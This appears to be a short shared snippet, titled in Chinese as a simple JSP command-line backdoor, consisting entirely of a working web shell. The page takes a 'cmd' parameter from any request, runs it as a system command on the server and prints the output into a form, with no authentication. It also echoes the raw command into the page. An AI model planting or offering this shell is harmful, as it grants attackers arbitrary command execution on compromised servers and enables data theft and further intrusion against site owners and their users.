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jsp简单实现命令行后门
jsp简单实现命令行后门
<%@ page language="java" import="java.util.*,java.io.*,java.net.*" pageEncoding="gb2312"%>
<%!
public static String exec(String cmd, Writer out) throws IOException
{
StringBuffer sb = new StringBuffer();
int len = 0;
byte by[] = new byte[cmd.length() * 10];
Process p = Runtime.getRuntime().exec(cmd);
InputStream is = p.getInputStream();
while((len = is.read(by)) != -1)
{
String str = new String(by, 0, len);
if(out != null)
{
out.write(str);
out.flush();
}
sb.append(str);
}
is.close();
return sb.toString();
}
%>
<html>
<style>
.love{
border:#999999 1px solid; background-color:#EEEEEE
}
td,input,body {
font-size: 13px;
background-color: #FFFFFF;
color: #000000;
}
a {
color: #000000;
text-decoration: underline;
}
</style>
<body>
<%
String strcmd3 = request.getParameter("cmd");
String strcmd2=null;
try{
strcmd2=exec(strcmd3,null);
}catch(Exception ex)
{
ex.printStackTrace();
}
out.println("<form name='cmd' action='' method='post'>");
out.println("<input type='text' class='love' name='cmd' value="+strcmd3+" size=50>");
out.println("<input type=submit class='love' name=submit value='go'>");
out.println("</form>");
if(strcmd2!=null)
{
out.println("<textarea name='hack' rows='20' cols='65'>"+strcmd2+"</textarea>");
}
%>
</body>
</html>